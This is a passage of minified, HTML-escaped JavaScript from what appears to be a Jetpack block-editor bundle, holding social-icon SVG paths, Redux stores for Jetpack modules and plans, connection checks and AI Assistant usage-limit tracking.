3 12s.01 2.75.054 3.71.196 1.613.418 2.186c.23.592.538 1.094 1.038 1.594s1.002.808 1.594 1.038c.572.222 1.227.375 2.185.418.96.044 1.266.054 3.71.054s2.75-.01 3.71-.054 1.613-.196 2.186-.418c.592-.23 1.094-.538 1.594-1.038s.808-1.002 1.038-1.594c.222-.572.375-1.227.418-2.185.044-.96.054-1.266.054-3.71s-.01-2.75-.054-3.71-.196-1.613-.418-2.186c-.23-.592-.538-1.094-1.038-1.594s-1.002-.808-1.594-1.038c-.572-.222-1.227-.375-2.185-.418C14.75 3.01 14.445 3 12 3zm0 4.378c-2.552 0-4.622 2.07-4.622 4.622s2.07 4.622 4.622 4.622 4.622-2.07 4.622-4.622S14.552 7.378 12 7.378zM12 15c-1.657 0-3-1.343-3-3s1.343-3 3-3 3 1.343 3 3-1.343 3-3 3zm4.804-8.884c-.596 0-1.08.484-1.08 1.08s.484 1.08 1.08 1.08c.596 0 1.08-.484 1.08-1.08s-.483-1.08-1.08-1.08z&quot;})})})},49354(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(34972);function n(){return!(!(0,r.A)()?.jetpack?.is_current_user_connected&amp;&amp;!window?.JP_CONNECTION_INITIAL_STATE?.connectionStatus?.isUserConnected)}},44360(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(34972);function n(){return!0===(0,r.A)()?.jetpack?.is_my_jetpack_available}},9520(e,t,s){&quot;use strict&quot;;s.d(t,{C:()=&gt;d,x:()=&gt;u});var r=s(97999),n=s(10067),o=s.n(n);const a=window?.JP_CONNECTION_INITIAL_STATE,i=o()(&quot;shared-extension-utils:connection&quot;);let l=!1;const c=e=&gt;{l||(i(e),l=!0)};function u(){return(0,r.isSimpleSite)()?(c(&quot;Simple site connected ✅&quot;),!0):(0,r.isWoASite)()?(c(&quot;Atomic site connected ✅&quot;),!0):a?.connectionStatus?.isUserConnected?(c(&quot;Jetpack user is connected ✅&quot;),!0):(c(&quot;User is not connected ❌&quot;),!1)}function d(){if((0,r.isSimpleSite)())return!0;return!1==!(a?.userConnectionData?.currentUser?.permissions??{}).manage_options}},9061(e,t,s){&quot;use strict&quot;;s.d(t,{C:()=&gt;r.C,x:()=&gt;r.x});var r=s(9520)},27105(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;u,E9:()=&gt;c,F6:()=&gt;i});var r=s(97999),n=s(47143),o=s(94478),a=s(88290);function i(e){return c({isLoading:e})}function l(e,t){return{type:&quot;SET_MODULE_UPDATING&quot;,name:e,isUpdating:t}}function c(e){return{type:&quot;SET_JETPACK_MODULES&quot;,options:e}}const u={updateJetpackModuleStatus:function*(e){try{yield l(e.name,!0),yield(0,o.sB)(e);const t=yield(0,o.wz)();return yield c({data:t}),!0}catch{const e=(0,n.select)(a.F).getJetpackModules();return yield c(e),!1}finally{yield l(e.name,!1)}},setJetpackModules:c,fetchModules:function*(){if((0,r.isSimpleSite)())return!0;try{yield i(!0);const e=yield(0,o.wz)();return yield c({data:e}),!0}catch{const e=(0,n.select)(a.F).getJetpackModules();return yield c(e),!1}finally{yield i(!1)}}}},94478(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;c,sB:()=&gt;l,wz:()=&gt;i});var r=s(1455),n=s.n(r);const o=&quot;FETCH_JETPACK_MODULES&quot;,a=&quot;UPDATE_JETPACK_MODULE_STATUS&quot;,i=()=&gt;({type:o}),l=e=&gt;({type:a,settings:e}),c={[o]:function(){return n()({path:&quot;/jetpack/v4/module/all&quot;,method:&quot;GET&quot;})},[a]:function({settings:e}){return n()({path:`/jetpack/v4/module/${e.name}/active`,method:&quot;POST&quot;,data:{active:e.active}})}}},88290(e,t,s){&quot;use strict&quot;;s.d(t,{F:()=&gt;c,M:()=&gt;u});var r=s(47143),n=s(27105),o=s(94478),a=s(38862),i=s(62701),l=s(31640);const c=&quot;jetpack-modules&quot;,u=(0,r.createReduxStore)(c,{reducer:a.A,actions:n.Ay,controls:o.Ay,resolvers:i.A,selectors:l.A});(0,r.register)(u);const d=window?.Initial_State?.getModules||window?.Jetpack_Editor_Initial_State?.modules||null;null!==d&amp;&amp;(0,r.dispatch)(c).setJetpackModules({data:{...d}})},38862(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});const r={isLoading:!1,isUpdating:{},data:{}},n=(e=r,t)=&gt;{switch(t.type){case&quot;SET_JETPACK_MODULES&quot;:return{...e,...t.options};case&quot;SET_MODULE_UPDATING&quot;:return{...e,isUpdating:{...e.isUpdating,[t.name]:t.isUpdating}}}return e}},62701(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(27105),n=s(94478);const o={getJetpackModules:function*(){try{yield(0,r.F6)(!0);const e=yield(0,n.wz)();if(e)return(0,r.E9)({data:e})}catch(e){console.error(e)}finally{yield(0,r.F6)(!1)}}}},31640(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(97999);const n={getJetpackModules:e=&gt;e.data,isModuleActive:(e,t)=&gt;(0,r.isSimpleSite)()||(e?.data?.[t]?.activated??!1),areModulesLoading:e=&gt;e.isLoading??!1,isModuleUpdating:(e,t)=&gt;e?.isUpdating?.[t]??!1}},53265(e,t,s){&quot;use strict&quot;;s.d(t,{Dk:()=&gt;m,GT:()=&gt;f,Q4:()=&gt;c,W4:()=&gt;u,aq:()=&gt;d,sH:()=&gt;g,tu:()=&gt;p});var r=s(97999),n=s(27723),o=s(93832),a=s(34972),i=s(8573),l=s(54815);const __=n.__;function c({planSlug:e,plan:t,postId:s,postType:n}){const a=e.startsWith(&quot;jetpack_&quot;)?e:t?.path_slug,i=(void 0===n?()=&gt;{const e=new URLSearchParams(window.location.search);return(0,o.addQueryArgs)(window.location.protocol+`//${(0,l.A)().replace(&quot;::&quot;,&quot;/&quot;)}/wp-admin/site-editor.php`,{postId:e.get(&quot;postId&quot;),postType:e.get(&quot;postType&quot;),plan_upgraded:1})}:()=&gt;{const e=[&quot;page&quot;,&quot;post&quot;].includes(n)?&quot;&quot;:&quot;edit&quot;;return(0,r.isSimpleSite)()?(0,o.addQueryArgs)(&quot;/&quot;+[e,n,(0,l.A)(),s].filter(Boolean).join(&quot;/&quot;),{plan_upgraded:1}):(0,o.addQueryArgs)(window.location.protocol+`//${(0,l.A)().replace(&quot;::&quot;,&quot;/&quot;)}/wp-admin/post.php`,{action:&quot;edit&quot;,post:s,plan_upgraded:1})})();return(0,r.isWoASite)()?(0,o.addQueryArgs)(`https://wordpress.com/plans/${(0,l.A)()}`,{redirect_to:i,customerType:&quot;business&quot;}):a&amp;&amp;(0,o.addQueryArgs)(`https://wordpress.com/checkout/${(0,l.A)()}/${a}`,{redirect_to:i})}function u(e){if(!e)return!1;const t=/^jetpack\//.test(e)?e.substr(8,e.length):e,{available:s,unavailableReason:r}=(0,i.A)(t);return!s&amp;&amp;&quot;missing_plan&quot;===r}function d(e,t){return&quot;missing_plan&quot;===e&amp;&amp;t.required_plan}function p(e){if(!e)return!1;const t=/^jetpack\//.test(e)?e.substr(8,e.length):e,{details:s,unavailableReason:r}=(0,i.A)(t);return d(r,s)}const h=[{name:&quot;core/cover&quot;,mediaPlaceholder:!0,mediaReplaceFlow:!0,fileType:&quot;video&quot;,description:__(&quot;Upgrade your plan to use video covers&quot;,&quot;jetpack&quot;)},{name:&quot;core/audio&quot;,mediaPlaceholder:!0,mediaReplaceFlow:!0,fileType:&quot;audio&quot;,description:__(&quot;Upgrade your plan to upload audio&quot;,&quot;jetpack&quot;)}];function m(){return(0,a.A)()?.jetpack?.enable_upgrade_nudge??!1}const g=e=&gt;h.some(t=&gt;t.name===e),f=e=&gt;h.filter(({name:t})=&gt;t===e)[0]},82034(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(92279),n=s(8573);function o(e,t){const{available:s,unavailableReason:o}=(0,n.A)(e);return!!s&amp;&amp;(0,r.registerPlugin)(`jetpack-${e}`,t)}},41409(e,t,s){&quot;use strict&quot;;s(97999)},62634(e,t,s){&quot;use strict&quot;;s.d(t,{l:()=&gt;o,p:()=&gt;n});var r=s(34972);function n(){const e=(0,r.A)();return e?.jetpack?.is_private_site??!1}function o(){const e=(0,r.A)();return e?.jetpack?.is_coming_soon??!1}},26047(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(1455),n=s.n(r),o=s(41325);const a={setPlans:e=&gt;({type:o.PC,plans:e}),fetchFromAPI:e=&gt;({type:o.iH,url:e}),storeAiAssistantFeature:e=&gt;({type:o.UU,feature:e}),fetchAiAssistantFeature:()=&gt;async({dispatch:e})=&gt;{e({type:o.ql});try{const t=await n()({path:o.J8});e(a.storeAiAssistantFeature(function(e){return{hasFeature:!!e[&quot;has-feature&quot;],isOverLimit:!!e[&quot;is-over-limit&quot;],requestsCount:e[&quot;requests-count&quot;],requestsLimit:e[&quot;requests-limit&quot;],requireUpgrade:!!e[&quot;site-require-upgrade&quot;],errorMessage:e[&quot;error-message&quot;],errorCode:e[&quot;error-code&quot;],upgradeType:e[&quot;upgrade-type&quot;],usagePeriod:{currentStart:e[&quot;usage-period&quot;]?.[&quot;current-start&quot;],nextStart:e[&quot;usage-period&quot;]?.[&quot;next-start&quot;],requestsCount:e[&quot;usage-period&quot;]?.[&quot;requests-count&quot;]||0},currentTier:e[&quot;current-tier&quot;],nextTier:e[&quot;next-tier&quot;],tierPlansEnabled:!!e[&quot;tier-plans-enabled&quot;],costs:e.costs,featuresControl:e[&quot;features-control&quot;]}}(t)))}catch(e){console.error(e)}},increaseAiAssistantRequestsCount:(e=1)=&gt;({dispatch:t})=&gt;{t({type:o.Lg,count:e}),t(a.decreaseAsyncRequestCountdownValue())},decreaseAsyncRequestCountdownValue:()=&gt;async({dispatch:e,select:t})=&gt;{e({type:o.yO});t.getAsyncRequestCountdownValue()&lt;=0&amp;&amp;e(a.enqueueAiAssistantFeatureAsyncRequest())},enqueueAiAssistantFeatureAsyncRequest:()=&gt;({dispatch:e})=&gt;{e.dequeueAiAssistantFeatureAsyncRequest();const t=setTimeout(()=&gt;{e(a.fetchAiAssistantFeature())},o.gW);e({type:o.jM,timerId:t})},dequeueAiAssistantFeatureAsyncRequest:()=&gt;({dispatch:e,select:t})=&gt;{e({type:o.js,timerId:0});const s=t.getAsyncRequestCountdownTimerId();s&amp;&amp;window?.clearTimeout(s)},setAiAssistantFeatureRequireUpgrade:(e=!0)=&gt;({type:o.Kt,requireUpgrade:e}),setTierPlansEnabled:(e=!0)=&gt;({type:o.c1,tierPlansEnabled:e})},i=a},41325(e,t,s){&quot;use strict&quot;;s.d(t,{GB:()=&gt;d,J8:()=&gt;u,Kt:()=&gt;l,Lg:()=&gt;i,PC:()=&gt;r,UU:()=&gt;o,c1:()=&gt;c,gW:()=&gt;m,iH:()=&gt;n,jM:()=&gt;f,js:()=&gt;b,mx:()=&gt;h,nb:()=&gt;p,ql:()=&gt;a,yO:()=&gt;g});const r=&quot;SET_PLANS&quot;,n=&quot;FETCH_FROM_API&quot;,o=&quot;STORE_AI_ASSISTANT_FEATURE&quot;,a=&quot;REQUEST_AI_ASSISTANT_FEATURE&quot;,i=&quot;INCREASE_AI_ASSISTANT_REQUESTS_COUNT&quot;,l=&quot;SET_AI_ASSISTANT_FEATURE_REQUIRE_UPGRADE&quot;,c=&quot;SET_TIER_PLANS_ENABLED&quot;,u=&quot;/wpcom/v2/jetpack-ai/ai-assistant-feature&quot;,d=20,p=3e3,h=3,m=5e3,g=&quot;DECREASE_NEW_ASYNC_REQUEST_COUNTDOWN&quot;,f=&quot;ENQUEUE_ASYNC_COUNTDOWN_REQUEST&quot;,b=&quot;DEQUEUE_ASYNC_COUNTDOWN_REQUEST&quot;},74960(e,t,s){&quot;use strict&quot;;s.d(t,{j:()=&gt;i});var r=s(47143),n=s(26047),o=s(17740);const a={getPlan:(e,t)=&gt;e.plans.find(e=&gt;e.product_slug===t),getAiAssistantFeature(e){const t={...e.features.aiAssistant};return delete t._meta,t},getIsRequestingAiAssistantFeature:e=&gt;e.features.aiAssistant?._meta?.isRequesting,getAsyncRequestCountdownValue:e=&gt;e.features.aiAssistant?._meta?.asyncRequestCountdown,getAsyncRequestCountdownTimerId:e=&gt;e.features.aiAssistant?._meta?.asyncRequestTimerId},i=(0,r.createReduxStore)(&quot;wordpress-com/plans&quot;,{actions:n.A,reducer:o.A,selectors:a,controls:{FETCH_FROM_API:({url:e})=&gt;fetch(e).then(e=&gt;e.json())},resolvers:{*getPlan(){const e=yield n.A.fetchFromAPI(&quot;https://public-api.wordpress.com/rest/v1.5/plans&quot;);return n.A.setPlans(e)},getAiAssistantFeature:e=&gt;{if(!e?.features?.aiAssistant)return n.A.fetchAiAssistantFeature()}}});(0,r.register)(i)},17740(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(41325);const n={plans:[],features:{aiAssistant:{hasFeature:!0,isOverLimit:!1,requestsCount:0,requestsLimit:r.GB,requireUpgrade:!1,errorMessage:&quot;&quot;,errorCode:&quot;&quot;,upgradeType:&quot;default&quot;,currentTier:{slug:&quot;ai-assistant-tier-free&quot;,value:0,limit:20},usagePeriod:{currentStart:&quot;&quot;,nextStart:&quot;&quot;,requestsCount:0},nextTier:null,tierPlansEnabled:!1,_meta:{isRequesting:!1,asyncRequestCountdown:r.mx,asyncRequestTimerId:0}}}};function o(e=n,t){switch(t.type){case r.PC:return{...e,plans:t.plans};case r.ql:return{...e,features:{...e.features,aiAssistant:{...e.features.aiAssistant,_meta:{...e.features.aiAssistant._meta,isRequesting:!0,asyncRequestCountdown:r.mx,asyncRequestTimerId:0}}}};case r.UU:return{...e,features:{...e.features,aiAssistant:{...t.feature,_meta:{...e.features.aiAssistant._meta,isRequesting:!1}}}};case r.Lg:{const s=e.features.aiAssistant.usagePeriod||{requestsCount:0},n=e.features.aiAssistant.requestsCount+t.count;s.requestsCount+=t.count;const o=e.features.aiAssistant.currentTier?.value,a=void 0===o&amp;&amp;!e.features.aiAssistant.hasFeature||0===o,i=void 0===o&amp;&amp;e.features.aiAssistant.hasFeature||1===o;let l=e.features.aiAssistant.currentTier?.limit;i?l=r.nb:a&amp;&amp;(l=e.features.aiAssistant.requestsLimit);const c=(a?n:e.features.aiAssistant.usagePeriod?.requestsCount)&gt;=l,u=c&amp;&amp;null!==e.features.aiAssistant.nextTier;return{...e,features:{...e.features,aiAssistant:{...e.features.aiAssistant,isOverLimit:c,requestsCount:n,requireUpgrade:u,usagePeriod:{...s}}}}}case r.yO:return{...e,features:{...e.features,aiAssistant:{...e.features.aiAssistant,_meta:{...e.features.aiAssistant._meta,asyncRequestCountdown:e.features.aiAssistant._meta.asyncRequestCountdown-1}}}};case r.jM:return{...e,features:{...e.features,aiAssistant:{...e.features.aiAssistant,_meta:{...e.features.aiAssistant._meta,asyncRequestTimerId:t.timerId}}}};case r.Kt:return{...e,features:{...e.features,aiAssistant:{...e.features.aiAssistant,requireUpgrade:t.requireUpgrade,...t.requireUpgrade?{isOverLimit:!0}:{}}}};case r.c1:return{...e,features:{...e.features,aiAssistant:{...e.features.aiAssistant,tierPlansEnabled:t.tierPlansEnabled}}}}return e}},65595(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(29491),n=(s(28745),s(10790));const o=e=&gt;(0,r.createHigherOrderComponent)(t=&gt;s=&gt;(0,n.jsx)(t,{...s,className:s.name===e?&quot;has-warning is-interactive&quot;:s.className}),&quot;withHasWarningIsInteractiveClassNames&quot;)},84705(e,t,s){&quot;use strict&quot;;s.d(t,{d6:()=&gt;r.d});var r=s(58992);s(91135)},91135(e,t,s){&quot;use strict&quot;;s.d(t,{$:()=&gt;n});var r=s(10790);const n=[{name:&quot;amazon&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M13.582 8.182c-1.648.185-3.802.308-5.344.984-1.781.769-3.03 2.337-3.03 4.644 0 2.953 1.86 4.429 4.253 4.429 2.02 0 3.125-.477 4.685-2.065.516.747.685 1.109 1.629 1.894a.59.59 0 0 0 .672-.066l.006.006c.567-.505 1.599-1.401 2.18-1.888.231-.188.19-.496.009-.754-.52-.718-1.072-1.303-1.072-2.634V8.305c0-1.876.133-3.599-1.249-4.891C15.23 2.369 13.422 2 12.04 2 9.336 2 6.318 3.01 5.686 6.351c-.068.355.191.542.423.594l2.754.298c.258-.013.445-.266.494-.523.236-1.151 1.2-1.706 2.284-1.706.584 0 1.249.215 1.595.738.398.584.346 1.384.346 2.061zm-.533 5.906c-.451.8-1.169 1.291-1.967 1.291-1.09 0-1.728-.83-1.728-2.061 0-2.42 2.171-2.86 4.227-2.86v.615c.001 1.108.027 2.031-.532 3.015m7.634 5.251C18.329 21.076 14.917 22 11.979 22c-4.118 0-7.826-1.522-10.632-4.057-.22-.199-.024-.471.241-.317 3.027 1.762 6.771 2.823 10.639 2.823 2.608 0 5.476-.541 8.115-1.66.397-.169.73.262.341.55m.653 1.704c-.194.163-.379.076-.293-.139.284-.71.92-2.298.619-2.684s-1.99-.183-2.749-.092c-.23.027-.266-.173-.059-.319 1.348-.946 3.555-.673 3.811-.356.26.32-.066 2.533-1.329 3.59&quot;})})})},{name:&quot;apple-podcasts&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M20.999 7.986a26 26 0 0 0-.008-.543 8 8 0 0 0-.104-1.182 4 4 0 0 0-.37-1.125 3.8 3.8 0 0 0-1.653-1.652c-.36-.183-.728-.3-1.124-.37a8 8 0 0 0-1.182-.104 25 25 0 0 0-.544-.008q-.322-.003-.645-.002H8.631l-.645.001q-.271.002-.543.008c-.395.011-.793.034-1.183.104a4 4 0 0 0-1.124.37 3.78 3.78 0 0 0-1.652 1.653c-.183.36-.3.728-.37 1.125-.07.39-.094.787-.105 1.181a25 25 0 0 0-.008.544L3 8.63v6.739l.001.645q.002.27.008.543c.011.394.034.792.104 1.182.071.396.188.764.37 1.124a3.78 3.78 0 0 0 1.653 1.652c.36.183.728.3 1.124.37.39.07.788.094 1.183.105q.27.006.543.008L8.63 21h6.739l.645-.001q.27-.001.543-.008a8 8 0 0 0 1.182-.104 4 4 0 0 0 1.124-.37 3.8 3.8 0 0 0 1.652-1.653c.184-.36.3-.728.371-1.124.07-.39.093-.788.104-1.182q.007-.271.008-.543l.001-.646V8.631zm-7.62 6.943a29 29 0 0 1-.231 1.861c-.076.488-.137.75-.193.939-.091.305-.43.572-.96.572-.531 0-.87-.267-.961-.572a7 7 0 0 1-.194-.939 29 29 0 0 1-.23-1.861c-.045-.53-.069-.86-.027-1.245a.76.76 0 0 1 .219-.473c.247-.261.68-.428 1.192-.428s.946.167 1.193.428a.76.76 0 0 1 .219.473c.041.385.018.716-.027 1.245m-3.53-1.279a.24.24 0 0 1 .076.188c-.012.215-.008.425.006.661a.076.076 0 0 1-.118.068 3.87 3.87 0 0 1-1.695-3.253 3.89 3.89 0 0 1 3.723-3.822 3.874 3.874 0 0 1 2.335 7.075.076.076 0 0 1-.118-.068c.014-.236.019-.446.007-.66a.24.24 0 0 1 .075-.189c.61-.572.991-1.385.991-2.285a3.14 3.14 0 0 0-3.26-3.133 3.145 3.145 0 0 0-3.012 3.049c-.025.933.361 1.779.99 2.369m3.492-2.758a1.347 1.347 0 1 1-2.693 0 1.347 1.347 0 0 1 2.693 0m.569 5.932a.077.077 0 0 1-.103-.084q.045-.298.084-.593a.2.2 0 0 1 .117-.156 5.05 5.05 0 0 0 3.033-4.626 5.05 5.05 0 0 0-5.088-5.046c-2.741.022-4.979 2.256-5.005 4.996A5.05 5.05 0 0 0 9.98 15.99a.2.2 0 0 1 .118.157q.039.295.083.593a.077.077 0 0 1-.102.084 5.795 5.795 0 0 1-3.872-5.533c.04-3.149 2.62-5.703 5.77-5.712a5.793 5.793 0 0 1 5.805 5.786c0 2.519-1.62 4.667-3.872 5.459&quot;})})})},{name:&quot;behance&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M7.799 5.698c.589 0 1.12.051 1.606.156q.722.155 1.241.507.516.351.804.938c.188.387.281.871.281 1.443q0 .93-.421 1.551-.424.62-1.255 1.014 1.133.328 1.689 1.146.559.822.557 1.975 0 .935-.359 1.612a3.14 3.14 0 0 1-.973 1.114q-.613.432-1.399.637A6.1 6.1 0 0 1 7.963 18H2V5.698zm-.35 4.97q.721 0 1.192-.345.465-.344.463-1.119 0-.43-.152-.707a1.1 1.1 0 0 0-.416-.427 1.7 1.7 0 0 0-.596-.216 3.6 3.6 0 0 0-.697-.06H4.709v2.874zm.151 5.237q.401.001.759-.077c.243-.053.457-.137.637-.261.182-.12.332-.283.441-.491q.164-.31.163-.798-.002-.948-.533-1.357c-.356-.27-.83-.404-1.413-.404H4.709v3.388zm8.562-.041q.552.538 1.583.538.74 0 1.277-.374c.354-.248.571-.514.654-.79h2.155c-.347 1.072-.872 1.838-1.589 2.299-.708.463-1.572.693-2.58.693q-1.05 0-1.899-.337a4 4 0 0 1-1.439-.958 4.4 4.4 0 0 1-.904-1.484 5.4 5.4 0 0 1-.32-1.899q0-1 .329-1.863a4.4 4.4 0 0 1 .933-1.492q.607-.63 1.444-.994a4.6 4.6 0 0 1 1.857-.363q1.131-.001 1.98.44a3.94 3.94 0 0 1 1.389 1.181 4.8 4.8 0 0 1 .783 1.69q.24.947.171 1.983h-6.428c-.001.706.237 1.372.604 1.73m2.811-4.68c-.291-.321-.783-.496-1.384-.496q-.585 0-.973.2a2 2 0 0 0-.621.491 1.8 1.8 0 0 0-.328.628 2.7 2.7 0 0 0-.111.587h3.98c-.058-.625-.271-1.085-.563-1.41m-3.916-3.446h4.985V6.524h-4.985z&quot;})})})},{name:&quot;blogger-alt&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M19.779 9.904h-.981l-.021.001a1.163 1.163 0 0 1-1.16-1.079l-.001-.013A5.813 5.813 0 0 0 11.803 3H8.871a5.813 5.813 0 0 0-5.813 5.813v6.375a5.813 5.813 0 0 0 5.813 5.813h6.257a5.814 5.814 0 0 0 5.813-5.813l.002-4.121a1.164 1.164 0 0 0-1.164-1.163M8.726 7.713h3.291a1.117 1.117 0 1 1 0 2.234H8.726a1.117 1.117 0 1 1 0-2.234m6.601 8.657H8.72a1.057 1.057 0 1 1 0-2.114h6.607a1.057 1.057 0 1 1 0 2.114&quot;})})})},{name:&quot;blogger&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M14.722 14.019a.654.654 0 0 1-.654.654H9.977a.654.654 0 0 1 0-1.308h4.091c.361 0 .654.293.654.654m-4.741-3.321h2.038a.692.692 0 0 0 0-1.384H9.981a.692.692 0 0 0 0 1.384M21 5v14a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2m-3.456 6.39a.72.72 0 0 0-.72-.72h-.607l-.013.001a.72.72 0 0 1-.718-.668l-.001-.008a3.6 3.6 0 0 0-3.599-3.599H10.07a3.6 3.6 0 0 0-3.599 3.599v3.947a3.6 3.6 0 0 0 3.599 3.599h3.874a3.6 3.6 0 0 0 3.599-3.599z&quot;})})})},{name:&quot;bluesky&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M21.2 3.3c-.5-.2-1.4-.5-3.6 1C15.4 6 12.9 9.2 12 11c-.9-1.8-3.4-5-5.7-6.7-2.2-1.6-3-1.3-3.6-1S2 4.6 2 5.1s.3 4.7.5 5.4c.7 2.3 3.1 3.1 5.3 2.8-3.3.5-6.2 1.7-2.4 5.9 4.2 4.3 5.7-.9 6.5-3.6.8 2.7 1.7 7.7 6.4 3.6 3.6-3.6 1-5.4-2.3-5.9 2.2.2 4.6-.5 5.3-2.8.4-.7.7-4.8.7-5.4 0-.5-.1-1.5-.8-1.8&quot;})})})},{name:&quot;codepen&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;m22.016 8.84-.007-.037q-.006-.037-.015-.072-.007-.022-.013-.042l-.023-.062-.02-.042a.4.4 0 0 0-.03-.057l-.025-.038-.035-.052-.03-.037q-.021-.026-.043-.045-.015-.018-.035-.035a.4.4 0 0 0-.048-.04l-.037-.03-.015-.012-9.161-6.096a.86.86 0 0 0-.955 0L2.359 8.237l-.015.012-.038.028-.048.04a.638.638 0 0 0-.078.082q-.018.018-.03.037-.018.026-.035.052l-.025.038q-.016.031-.03.059l-.02.041a1 1 0 0 0-.034.106q-.01.034-.016.071-.003.02-.006.037a1 1 0 0 0-.009.114v6.093q0 .056.008.112l.007.038q.006.035.015.072a.2.2 0 0 0 .013.04q.01.032.022.063l.02.04a.4.4 0 0 0 .055.096l.035.052.03.037.042.045.035.035q.023.02.048.04l.038.03.013.01 9.163 6.095a.858.858 0 0 0 .959.004l9.163-6.095.015-.01q.02-.015.037-.03l.048-.04q.02-.017.035-.035.025-.024.043-.045l.03-.037.035-.052.025-.038a.4.4 0 0 0 .03-.058l.02-.04.023-.063c.003-.013.01-.027.013-.04q.009-.037.015-.072l.007-.037q.006-.062.007-.117V8.954a1 1 0 0 0-.008-.114m-9.154-4.376 6.751 4.49-3.016 2.013-3.735-2.492zm-1.724 0v4.009l-3.735 2.494-3.014-2.013zm-7.439 6.098L5.853 12l-2.155 1.438zm7.439 8.974-6.749-4.491 3.015-2.011 3.735 2.492zM12 14.035 8.953 12 12 9.966 15.047 12zm.862 5.501v-4.009l3.735-2.492 3.016 2.011zm7.441-6.098L18.147 12l2.156-1.438z&quot;})})})},{name:&quot;deezer&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M20.129 3.662c.222-1.287.548-2.096.909-2.098h.001c.673.002 1.219 2.809 1.219 6.274s-.546 6.274-1.22 6.274c-.276 0-.531-.477-.736-1.276-.324 2.926-.997 4.937-1.776 4.937-.603 0-1.144-1.208-1.507-3.114-.248 3.624-.872 6.195-1.602 6.195-.458 0-.875-1.019-1.184-2.678C13.861 21.6 13.003 24 12.002 24s-1.861-2.399-2.231-5.824c-.307 1.659-.724 2.678-1.184 2.678-.73 0-1.352-2.571-1.602-6.195-.363 1.905-.903 3.114-1.507 3.114-.778 0-1.452-2.011-1.776-4.937-.204.802-.46 1.276-.736 1.276-.674 0-1.22-2.809-1.22-6.274s.546-6.274 1.22-6.274c.362 0 .685.812.91 2.098.357-2.22.94-3.662 1.6-3.662.784 0 1.463 2.04 1.784 5.002.314-2.156.791-3.53 1.325-3.53.749 0 1.385 2.703 1.621 6.474.443-1.933 1.085-3.146 1.795-3.146s1.352 1.214 1.795 3.146c.237-3.771.872-6.474 1.621-6.474.533 0 1.009 1.374 1.325 3.53.321-2.962 1-5.002 1.784-5.002.658 0 1.244 1.443 1.603 3.662M0 7.221c0-1.549.31-2.805.692-2.805s.692 1.256.692 2.805-.31 2.805-.692 2.805S0 8.77 0 7.221m22.616 0c0-1.549.31-2.805.692-2.805S24 5.672 24 7.221s-.31 2.805-.692 2.805-.692-1.256-.692-2.805&quot;})})})},{name:&quot;discord&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M20.33 4.523A20 20 0 0 0 15.379 3a14 14 0 0 0-.634 1.289 18.4 18.4 0 0 0-5.495 0A14 14 0 0 0 8.615 3 20 20 0 0 0 3.66 4.527C.527 9.163-.323 13.684.102 18.141a20 20 0 0 0 6.073 3.049 14.7 14.7 0 0 0 1.301-2.097 13 13 0 0 1-2.048-.978q.258-.189.502-.378a14.27 14.27 0 0 0 12.142 0q.247.202.502.378a13 13 0 0 1-2.052.98 14.5 14.5 0 0 0 1.301 2.095 19.9 19.9 0 0 0 6.076-3.047c.498-5.168-.851-9.648-3.568-13.62M8.013 15.4c-1.183 0-2.161-1.074-2.161-2.395S6.796 10.6 8.01 10.6s2.183 1.083 2.163 2.405S9.22 15.4 8.013 15.4m7.974 0c-1.186 0-2.16-1.074-2.16-2.395s.944-2.405 